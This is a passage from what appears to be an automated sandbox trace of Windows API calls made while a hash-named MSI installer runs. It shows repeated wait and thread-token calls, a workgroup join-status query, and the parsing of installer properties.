dwWakeMask=0x4ff) returned 0x0 [0148.964] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.966] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.967] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.970] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.973] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.975] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.977] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.980] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.981] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.982] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.983] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.987] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.988] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.990] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.991] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.993] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.994] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.997] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.998] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.000] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.001] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.004] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.006] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.007] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.009] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.013] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.014] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.036] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.037] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.139] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.140] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.161] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.162] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.247] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.250] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.270] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.271] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.412] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.413] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.384] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.394] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.397] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.399] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.403] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.405] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.411] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.416] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.462] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.590] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.601] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.614] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.629] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.643] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.655] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.658] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.663] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0157.060] memcpy (in: _Dst=0x29f80b0, _Src=0x32f250, _Size=0x64 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0157.060] memcpy (in: _Dst=0x32f010, _Src=0x29f80b0, _Size=0x64 | out: _Dst=0x32f010) returned 0x32f010 [0157.060] SetEvent (hEvent=0x170) returned 1 [0157.063] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0157.269] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0159.033] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0159.673] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 Thread: id = 13 os_tid = 0xf34 Thread: id = 14 os_tid = 0xf50 [0068.522] GetCurrentThreadId () returned 0xf50 [0068.522] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.522] lstrlenW (lpString="NETAPI32") returned 8 [0068.522] GetSystemDirectoryW (in: lpBuffer=0x10cf0f0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0068.522] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\NETAPI32.DLL") returned 0x7fefaec0000 [0068.534] GetProcAddress (hModule=0x7fefaec0000, lpProcName="NetGetJoinInformation") returned 0x7fefae919bc [0068.534] NetGetJoinInformation (in: lpServer=0x0, lpNameBuffer=0x10cf728, BufferType=0x10cf5f0 | out: lpNameBuffer=0x10cf728*="WORKGROUP", BufferType=0x10cf5f0) returned 0x0 [0068.542] GetProcAddress (hModule=0x7fefaec0000, lpProcName="NetApiBufferFree") returned 0x7fefaeb1010 [0068.542] NetApiBufferFree (Buffer=0x33a610) returned 0x0 [0068.542] CoInitialize (pvReserved=0x0) returned 0x0 [0068.543] GetCurrentThreadId () returned 0xf50 [0068.543] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.543] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0068.544] lstrlenW (lpString="BZ.INSTALLFOLDER=\"C:\\Program Files (x86)\\[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ") returned 367 [0068.544] lstrlenW (lpString="REINSTALLMODE") returned 13 [0068.544] memcpy (in: _Dst=0x33a620, _Src=0x33d200, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.544] lstrlenW (lpString="[~~~]") returned 5 [0068.544] lstrlenW (lpString="[~~~]") returned 5 [0068.544] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.544] memcpy (in: _Dst=0x32f780, _Src=0x33d224, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0068.545] memcpy (in: _Dst=0x33a620, _Src=0x33d278, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.545] memcpy (in: _Dst=0x3387d0, _Src=0x33d28e, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.546] memcpy (in: _Dst=0x3387d0, _Src=0x33d298, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.546] memcpy (in: _Dst=0x338800, _Src=0x33d2ac, _Size=0xe | out: _Dst=0x338800) returned 0x338800 [0068.546] memcpy (in: _Dst=0x33a620, _Src=0x33d2be, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.546] memcpy (in: _Dst=0x2fa540, _Src=0x33d2e2, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.547] memcpy (in: _Dst=0x33a620, _Src=0x33d30c, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.547] memcpy (in: _Dst=0x3387d0, _Src=0x33d32a, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.547] memcpy (in: _Dst=0x33a620, _Src=0x33d330, _Size=0x1e | out: _Dst=0x33a620) returned 0x33a620 [0068.547] memcpy (in: _Dst=0x3387d0, _Src=0x33d352, _Size=0x8 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.548] memcpy (in: _Dst=0x33a620, _Src=0x33d35e, _Size=0x16 | out: _Dst=0x33a620) returned 0x33a620 [0068.548] memcpy (in: _Dst=0x2fa540, _Src=0x33d378, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.549] memcpy (in: _Dst=0x33a620, _Src=0x33d3a2, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.549] memcpy (in: _Dst=0x338fd0, _Src=0x33d3b8, _Size=0x34 | out: _Dst=0x338fd0) returned 0x338fd0 [0068.549] memcpy (in: _Dst=0x33a620, _Src=0x33d3f0, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.549] memcpy (in: _Dst=0x3387d0, _Src=0x33d406, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.550] memcpy (in: _Dst=0x33a620, _Src=0x33d410, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.550] memcpy (in: _Dst=0x3387d0, _Src=0x33d42e, _Size=0xe | out: _Dst=0x3387d0) returned 0x3387d0 [0068.551] memcpy (in: _Dst=0x3387d0, _Src=0x33d440, _Size=0xc | out: _Dst=0x3387d0) returned 0x3387d0 [0068.551] memcpy (in: _Dst=0x338800, _Src=0x33d450, _Size=0xe | out: _Dst=0x338800) returned 0x338800 [0068.551] memcpy (in: _Dst=0x33a620, _Src=0x33d462, _Size=0x18 | out: _Dst=0x33a620) returned 0x33a620 [0068.551] memcpy (in: _Dst=0x3387d0, _Src=0x33d47e, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.552] memcpy (in: _Dst=0x33a620, _Src=0x33d484, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.552] memcpy (in: _Dst=0x3387d0, _Src=0x33d4a4, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.552] memcpy (in: _Dst=0x3387d0, _Src=0x33d4ac, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.552] memcpy (in: _Dst=0x33a620, _Src=0x33d4be, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.553] lstrlenW (lpString="RUNONCEENTRY") returned 12 [0068.553] memcpy (in: _Dst=0x33a620, _Src=0x33d200, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.553] lstrlenW (lpString="[~~~]") returned 5 [0068.553] lstrlenW (lpString="[~~~]") returned 5 [0068.553] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.553] memcpy (in: _Dst=0x32f780, _Src=0x33d224, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0068.556] memcpy (in: _Dst=0x33a620, _Src=0x33d278, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.556] memcpy (in: _Dst=0x3387d0, _Src=0x33d28e, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.556] memcpy (in: _Dst=0x3387d0, _Src=0x33d298, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.556] memcpy (in: _Dst=0x338830, _Src=0x33d2ac, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.557] memcpy (in: _Dst=0x33a620, _Src=0x33d2be, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.557] memcpy (in: _Dst=0x2fa540, _Src=0x33d2e2, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.557] memcpy (in: _Dst=0x33a620, _Src=0x33d30c, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.558] memcpy (in: _Dst=0x3387d0, _Src=0x33d32a, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.558] memcpy (in: _Dst=0x33a620, _Src=0x33d330, _Size=0x1e | out: _Dst=0x33a620) returned 0x33a620 [0068.558] memcpy (in: _Dst=0x3387d0, _Src=0x33d352, _Size=0x8 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.559] memcpy (in: _Dst=0x33a620, _Src=0x33d35e, _Size=0x16 | out: _Dst=0x33a620) returned 0x33a620 [0068.559] memcpy (in: _Dst=0x2fa540, _Src=0x33d378, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.560] memcpy (in: _Dst=0x33a620, _Src=0x33d3a2, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.560] memcpy (in: _Dst=0x338fd0, _Src=0x33d3b8, _Size=0x34 | out: _Dst=0x338fd0) returned 0x338fd0 [0068.560] memcpy (in: _Dst=0x33a620, _Src=0x33d3f0, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.560] memcpy (in: _Dst=0x3387d0, _Src=0x33d406, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.561] memcpy (in: _Dst=0x33a620, _Src=0x33d410, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.561] memcpy (in: _Dst=0x3387d0, _Src=0x33d42e, _Size=0xe | out: _Dst=0x3387d0) returned 0x3387d0 [0068.561] memcpy (in: _Dst=0x3387d0, _Src=0x33d440, _Size=0xc | out: _Dst=0x3387d0) returned 0x3387d0 [0068.561] memcpy (in: _Dst=0x338830, _Src=0x33d450, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.562] memcpy (in: _Dst=0x33a620, _Src=0x33d462, _Size=0x18 | out: _Dst=0x33a620) returned 0x33a620 [0068.562] memcpy (in: _Dst=0x3387d0, _Src=0x33d47e, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.562] memcpy (in: _Dst=0x33a620, _Src=0x33d484, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.562] memcpy (in: _Dst=0x3387d0, _Src=0x33d4a4, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.563] memcpy (in: _Dst=0x3387d0, _Src=0x33d4ac, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.563] memcpy (in: _Dst=0x33a620, _Src=0x33d4be, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.563] lstrlenW (lpString="MSINEWINSTANCE") returned 14 [0068.563] memcpy (in: _Dst=0x33a620, _Src=0x33d200, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.564] lstrlenW (lpString="[~~~]") returned 5 [0068.564] lstrlenW (lpString="[~~~]") returned 5 [0068.564] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.564] memcpy (in: _Dst=0x32f780, _Src=0x33d224, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0068.564] memcpy (in: _Dst=0x33a620, _Src=0x33d278, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.564] memcpy (in: _Dst=0x3387d0, _Src=0x33d28e, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.565] memcpy (in: _Dst=0x3387d0, _Src=0x33d298, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.565] memcpy (in: _Dst=0x338830, _Src=0x33d2ac, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.565] memcpy (in: _Dst=0x33a620, _Src=0x33d2be, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.565] memcpy (in: _Dst=0x2fa540, _Src=0x33d2e2, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.566] memcpy (in: _Dst=0x33a620, _Src=0x33d30c, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.566] memcpy (in: _Dst=0x3387d0, _Src=0x33d32a, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.566] memcpy (in: _Dst=0x33a620, _Src=0x33d330, _Size=0x1e | out: _Dst=0x33a620) returned 0x33a620 [0068.567] memcpy (in: _Dst=0x3387d0, _Src=0x33d352, _Size=0x8 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.567] memcpy (in: _Dst=0x33a620, _Src=0x33d35e, _Size=0x16 | out: _Dst=0x33a620) returned 0x33a620 [0068.567] memcpy (in: _Dst=0x2fa540, _Src=0x33d378, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.568] memcpy (in: _Dst=0x33a620, _Src=0x33d3a2, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.568] memcpy (in: _Dst=0x338fd0, _Src=0x33d3b8, _Size=0x34 | out: _Dst=0x338fd0) returned 0x338fd0 [0068.569] memcpy (in: _Dst=0x33a620, _Src=0x33d3f0, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.569] memcpy (in: _Dst=0x3387d0, _Src=0x33d406, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.573] memcpy (in: _Dst=0x33a620, _Src=0x33d410, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.573] memcpy (in: _Dst=0x3387d0, _Src=0x33d42e, _Size=0xe | out: _Dst=0x3387d0) returned 0x3387d0 [0068.574] memcpy (in: _Dst=0x3387d0, _Src=0x33d440, _Size=0xc | out: _Dst=0x3387d0) returned 0x3387d0 [0068.574] memcpy (in: _Dst=0x338830, _Src=0x33d450, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.575] memcpy (in: _Dst=0x33a620, _Src=0x33d462, _Size=0x18 | out: _Dst=0x33a620) returned 0x33a620 [0068.575] memcpy (in: _Dst=0x3387d0, _Src=0x33d47e, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.575] memcpy (in: _Dst=0x33a620, _Src=0x33d484, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.576] memcpy (in: _Dst=0x3387d0, _Src=0x33d4a4, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.576] memcpy (in: _Dst=0x3387d0, _Src=0x33d4ac, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.576] memcpy (in: _Dst=0x33a620, _Src=0x33d4be, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.577] lstrlenW (lpString="MSIINSTANCEGUID") returned 15 [0068.577] memcpy (in: _Dst=0x33a620, _Src=0x33d200, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.577] lstrlenW (lpString="[~~~]") returned 5 [0068.577] lstrlenW (lpString="[~~~]") returned 5 [0068.577] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.577] memcpy (in: _Dst=0x32f780, _Src=0x33d224, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0068.578] memcpy (in: _Dst=0x33a620, _Src=0x33d278, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.578] memcpy (in: _Dst=0x3387d0, _Src=0x33d28e, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.578] memcpy (in: _Dst=0x3387d0, _Src=0x33d298, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.578] memcpy (in: _Dst=0x338830, _Src=0x33d2ac, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.579] memcpy (in: _Dst=0x33a620, _Src=0x33d2be, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.579] memcpy (in: _Dst=0x2fa540, _Src=0x33d2e2, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.580] memcpy (in: _Dst=0x33a620, _Src=0x33d30c, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.580] memcpy (in: _Dst=0x3387d0, _Src=0x33d32a, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.580] memcpy (in: _Dst=0x33a620, _Src=0x33d330, _Size=0x1e | out: _Dst=0x33a620) returned 0x33a620 [0068.580] memcpy (in: _Dst=0x3387d0, _Src=0x33d352, _Size=0x8 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.581] memcpy (in: _Dst=0x33a620, _Src=0x33d35e, _Size=0x16 | out: _Dst=0x33a620) returned 0x33a620 [0068.581] memcpy (in: _Dst=0x2fa540, _Src=0x33d378, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.582] memcpy (in: _Dst=0x33a620, _Src=0x33d3a2, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.583] memcpy (in: _Dst=0x338fd0, _Src=0x33d3b8, _Size=0x34 | out: _Dst=0x338fd0) returned 0x338fd0 [0068.583] memcpy (in: _Dst=0x33a620, _Src=0x33d3f0, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.584] memcpy (in: _Dst=0x3387d0, _Src=0x33d406, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.584] memcpy (in: _Dst=0x33a620, _Src=0x33d410, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.584] memcpy (in: _Dst=0x3387d0, _Src=0x33d42e, _Size=0xe | out: _Dst=0x3387d0) returned 0x3387d0 [0068.588] memcpy (in: _Dst=0x3387d0, _Src=0x33d440, _Size=0xc | out: _Dst=0x3387d0) returned 0x3387d0 [0068.589] memcpy (in: _Dst=0x338830, _Src=0x33d450, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.590] memcpy (in: _Dst=0x33a620, _Src=0x33d462, _Size=0x18 | out: _Dst=0x33a620) returned 0x33a620 [0068.590] memcpy (in: _Dst=0x3387d0, _Src=0x33d47e, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.590] memcpy (in: _Dst=0x33a620, _Src=0x33d484, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.590] memcpy (in: _Dst=0x3387d0, _Src=0x33d4a4, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.591] memcpy (in: _Dst=0x3387d0, _Src=0x33d4ac, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.591] memcpy (in: _Dst=0x33a620, _Src=0x33d4be, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.592] lstrlenW (lpString="TRANSFORMSSECURE") returned 16 [0068.592] memcpy (in: _Dst=0x33a620, _Src=0x31fcb0, 